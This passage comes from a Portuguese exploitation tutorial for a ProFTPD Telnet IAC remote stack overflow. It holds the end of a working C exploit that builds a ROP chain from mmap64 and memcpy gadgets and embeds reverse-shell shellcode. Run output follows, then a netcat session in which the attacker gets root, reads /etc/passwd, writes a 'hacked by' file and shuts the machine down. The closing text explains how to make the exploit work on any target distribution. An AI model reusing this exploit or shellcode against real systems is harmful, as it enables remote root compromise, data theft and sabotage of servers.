printf("\n\t [+] Byte5 is located at 0x%08x", byte5_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte5!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte6, sizeof(byte6)-1);
if(index >= 0){
byte6_addr += (u_int) index;
printf("\n\t [+] Byte6 is located at 0x%08x", byte6_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte6!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte7, sizeof(byte7)-1);
if(index >= 0){
byte7_addr += (u_int) index;
printf("\n\t [+] Byte7 is located at 0x%08x", byte7_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte7!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte8, sizeof(byte8)-1);
if(index >= 0){
byte8_addr += (u_int) index;
printf("\n\t [+] Byte8 is located at 0x%08x", byte8_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte8!");
}
index = indexOf(read_buffer, sizeof(read_buffer), byte9, sizeof(byte9)-1);
if(index >= 0){
byte9_addr += (u_int) index;
printf("\n\t [+] Byte9 is located at 0x%08x", byte9_addr);
} else {
printf("\n\t [-] Fail! Could not find Byte9!");
}
} else {
printf("\t [-] Fail! Wrong write(2) offset!\n");
close(sockfd);
}
printf("\n\n\t Building exploit buffer...\n");
bzero(buffer, sizeof(buffer));
memcpy(buffer+OFFSET, "\xff", 1);
memcpy(buffer+OFFSET+1, junk, strlen(junk));
*((u_int *)(buffer+OFFSET+1+PADDING)) = MMAP64;
*((u_int *)(buffer+OFFSET+1+PADDING+4)) = lpr;
memcpy(buffer+OFFSET+1+PADDING+8, mmap64_args, sizeof(mmap64_args));
*((u_int *)(buffer+OFFSET+1+PADDING+52)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr;
memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr;
memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+92)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+96)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+100, "\x03\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+104)) = byte3_addr;
memcpy(buffer+OFFSET+1+PADDING+108, "\x01\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+112)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+116)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+120, "\x04\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+124)) = byte4_addr;
memcpy(buffer+OFFSET+1+PADDING+128, "\x03\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+132)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+136)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+140, "\x07\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+144)) = byte5_addr;
memcpy(buffer+OFFSET+1+PADDING+148, "\x01\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+152)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+156)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+160, "\x08\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+164)) = byte6_addr;
memcpy(buffer+OFFSET+1+PADDING+168, "\x05\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+172)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+176)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+180, "\x0d\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+184)) = byte7_addr;
memcpy(buffer+OFFSET+1+PADDING+188, "\x01\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+192)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+196)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+200, "\x0e\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+204)) = byte8_addr;
memcpy(buffer+OFFSET+1+PADDING+208, "\x01\x00\x00\x00", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+212)) = MEMCPY;
*((u_int *)(buffer+OFFSET+1+PADDING+216)) = p3r;
memcpy(buffer+OFFSET+1+PADDING+220, "\x0f\x00\x00\x10", 4);
*((u_int *)(buffer+OFFSET+1+PADDING+224)) = byte9_addr;
memcpy(buffer+OFFSET+1+PADDING+228, "\x02\x00\x00\x00", 4);
memcpy(buffer+OFFSET+1+PADDING+232, "\x00\x00\x00\x10", 4);
memset(buffer+OFFSET+1+PADDING+236, '\x90', 205);
memcpy(buffer+OFFSET+1+PADDING+336, shellcode, sizeof(shellcode)-1);
memcpy(buffer+OFFSET+1+PADDING+336+sizeof(shellcode)+9, "\x0a\x0d", 2);
printf("\n\t Too much 00 bytes + evil buffer:\n\n");
dump(buffer+OFFSET-4, sizeof(buffer)-OFFSET+4);
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
fatal("connecting to target server");
printf("\n\t Sending exploit buffer...\n");
write(sockfd, buffer, sizeof(buffer));
close(sockfd);
printf("\n\t [+] Done! Enjoy your fucking shell!!!\n");
printf("\n\n\t\t F0rb1dd3n wins!!!");
printf("\n\t\t Flawless Victory\n");
printf("\n █████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓");
printf("\n ▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒");
printf("\n ▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░");
printf("\n ░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░");
printf("\n ░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░");
printf("\n ▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒ ");
printf("\n ░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░ ");
printf("\n ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░ ");
printf("\n ░ ░ ░ ░ ░ ░ ░ ░ ░ ");
printf("\n ░ ░ ");
printf("\n\n");
}
---------------------------------------------------------------------------------------------
Vamos executar ele e ver o que acontece. O shellcode que estou utilizando é um shellcode
connect back na porta 4444, então não esqueça de deixar o netcat escutando!
let's go hack!!!
---------------------------------------------------------------------------------------------
root@kali:~/Studies# gcc exploit_proftpd.c -o exploit_proftpd
root@kali:~/Studies# ./exploit_proftpd 192.168.25.18 192.168.25.23
Proftpd Telnet IAC remote stack overflow exploit
Writen by: F0rb1dd3n
Target: 192.168.25.18
Trying write(2) offset: 0x080532d8
[+] Success on write(2)
[+] mmap64() is located at 0x08053d18
[+] memcpy() is located at 0x080536c8
Attempting to read memory of the server...
[+] Pop3Ret is located at 0x0805462e
[+] Large PopRet is located at 0x08059a09
[+] Byte1 is located at 0x0805a056
[+] Byte2 is located at 0x0805341a
[+] Byte3 is located at 0x08053f8b
[+] Byte4 is located at 0x080596b3
[+] Byte5 is located at 0x08053314
[+] Byte6 is located at 0x0806a7d8
[+] Byte7 is located at 0x08053c35
[+] Byte8 is located at 0x080532da
[+] Byte9 is located at 0x08054535
Building exploit buffer...
Too much 00 bytes + evil buffer:
00 00 00 00 ff 41 41 41 41 41 41 41 41 41 41 41 | .....AAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 18 3d 05 08 09 9a 05 08 00 | AAAAAAA.=.......
00 00 10 00 10 00 00 07 00 00 00 32 00 00 00 ff | ...........2....
ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 c8 36 05 08 2e | ............6...
46 05 08 00 00 00 10 56 a0 05 08 02 00 00 00 c8 | F......V........
36 05 08 2e 46 05 08 02 00 00 10 1a 34 05 08 01 | 6...F.......4...
00 00 00 c8 36 05 08 2e 46 05 08 03 00 00 10 8b | ....6...F.......
3f 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 04 | ?.......6...F...
00 00 10 b3 96 05 08 03 00 00 00 c8 36 05 08 2e | ............6...
46 05 08 07 00 00 10 14 33 05 08 01 00 00 00 c8 | F.......3.......
36 05 08 2e 46 05 08 08 00 00 10 d8 a7 06 08 05 | 6...F...........
00 00 00 c8 36 05 08 2e 46 05 08 0d 00 00 10 35 | ....6...F......5
3c 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 0e | <.......6...F...
00 00 10 da 32 05 08 01 00 00 00 c8 36 05 08 2e | ....2.......6...
46 05 08 0f 00 00 10 35 45 05 08 02 00 00 00 00 | F......5E.......
00 00 10 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 31 c0 31 db 31 c9 b0 46 cd | .......1.1.1..F.
80 90 90 90 6a 66 58 6a 01 5b 31 c9 51 6a 01 6a | ....jfXj.[1.Qj.j
02 89 e1 cd 80 68 c0 a8 19 17 66 68 11 5c 66 6a | .....h....fh.\fj
02 89 e1 6a 10 51 50 89 e1 89 c6 6a 03 5b 6a 66 | ...j.QP....j.[jf
58 cd 80 87 f3 6a 02 59 b0 3f cd 80 49 79 f9 b0 | X....j.Y.?..Iy..
0b 31 d2 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | .1.Rh//shh/bin..
52 53 89 e1 cd 80 90 90 90 90 90 90 90 90 90 90 | RS..............
0a 0d | ..
Sending exploit buffer...
[+] Done! Enjoy your fucking shell!!!
F0rb1dd3n wins!!!
Flawless Victory
█████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓
▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒
▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░
░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░
░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░
▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒
░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░
░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
---------------------------------------------------------------------------------------------
Em outra shell: -----------------------------------------------------------------------------
root@kali:~# nc -lnvp 4444
nc: listening on :: 4444 ...
nc: listening on 0.0.0.0 4444 ...
nc: connect to 192.168.25.23 4444 from 192.168.25.18 55610
uname -a
Linux ubuntu 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010 i686 GNU/Linux
whoami
root
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:e4:38:55
inet addr:192.168.25.18 Bcast:192.168.25.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fee4:3855/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:28011 errors:0 dropped:0 overruns:0 frame:0
TX packets:4889 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2694445 (2.6 MB) TX bytes:1370853 (1.3 MB)
Interrupt:19 Base address:0x2024
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:52 errors:0 dropped:0 overruns:0 frame:0
TX packets:52 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4568 (4.5 KB) TX bytes:4568 (4.5 KB)
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
avahi-autoipd:x:103:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:109:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
usbmux:x:106:46:usbmux daemon,,,:/home/usbmux:/bin/false
speech-dispatcher:x:107:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:109:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:110:117:RealtimeKit,,,:/proc:/bin/false
saned:x:111:118::/home/saned:/bin/false
hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm:x:113:120:Gnome Display Manager:/var/lib/gdm:/bin/false
neo:x:1000:1000:Matrix,,,:/home/neo:/bin/bash
proftpd:x:114:65534::/var/run/proftpd:/bin/false
ftp:x:115:65534::/home/ftp:/bin/false
echo "hacked by F0rb1dd3n" > /home/neo/Desktop/OWNED
cat /home/neo/Desktop/OWNED
hacked by F0rb1dd3n
shutdown -h now
----------------------------------------------------------------------------------------------
Own3d!!! F0rb1dd3n wins! Agora tudo isso parece tão fácil, não? Hacking é uma arte, basta
enchergarmos a beleza na execução dos bytes!
Vale ressaltar algumas coisas:
Como proposto pelo Kingcope no seu artigo sobre a exploração genérica do nginx para linux
systems, podemos utilizar a syscall ioctl() para ler mais memória do servidor com a chamada
de write(2). Seria algo assim:
-> ioctl plt offset
-> endereço "pop pop pop ret" gadget
-> argumentos ioctl
-> write(2) plt offset
-> argumentos para write(2)
Para efetuarmos um exploit mais genérico, podemos tentar descobrir o endereço de write(2)
fazendo bruteforce em um endereço de memória inicial incrementando em 4. Quando recebermos
os bytes, é pq achamos write(2).
Em cada chamada de biblioteca há uma instrução "jmp" que aponta para a GOT (Global Offset
Table). Com os bytes \xff\x25 podemos verificar o ponteiro para a GOT (que são os próximos
4 bytes depois de \xff\x25). Com esse ponteiro podemos passar como parâmetro de buffer para
uma chamada write(2) para poder ler os bytes da biblioteca chamada pelo processo. Podemos
extrair o prefixo das funções mmap64 e memcpy usando o "objdump" ou debuggando a aplicação,
então basta fazer a mesma coisa que fizemos antes: comparar. Comparando os bytes do prefixo
das funções com os bytes das bibliotecas lidos, conseguimos achar o endereço correto de
mmap64 e memcpy (assim como fizemos para acharmos os gadgets de pop pop pop ret). Essa é uma
maneira eficaz. Uma outra forma de encontrarmos os endereços corretos de mmap64 e memcpy é
comparando os bytes dos prefixos das chamadas das funções pelo processo da aplicação
em busca de acharmos a instrução de chamada de mmap64 e memcpy (call "address"). Isso também
é outra maneira de encontrarmos os reais offsets das funções. Isso pode parecer um pouco
complicado, mas ao debugar a aplicação isso se torna mais claro. Ou seja, é possivel fazer
um exploit generalizado que poderá rodar em qualquer distribuição alvo. Assim asseguramos
que teremos sempre sucesso na exploração desta falha.
Então é isso pessoal! Espero que o leitor tenha gostado e ampliado seus conhecimentos.
Qualquer dúvida, podem entrar em contato no meu e-mail f0rb1@hotmail.com.
Um abraço,
F0rb1dd3n
|=-------------------------------------------------------------------------------------=|
Referências:
Scraps of notes on remote stack overflow exploitation - by pi3
http://phrack.org/issues/67/13.html#article
Uncovering Zero-Days and advanced fuzzing - by Kingcope
http://www.exploit-db.com/docs/18924.pdf
nginx Exploit Documentation About a Generic Way to Exploit Linux Targets - by Kingcope
http://www.exploit-db.com/docs/27074.pdf
Return Oriented Programming and ROPgadget tool - by Jonathan Salwan
http://shell-storm.org/blog/Return-Oriented-Programming-and-ROPgadget-tool/
|=-------------------------------------------------------------------------------------=|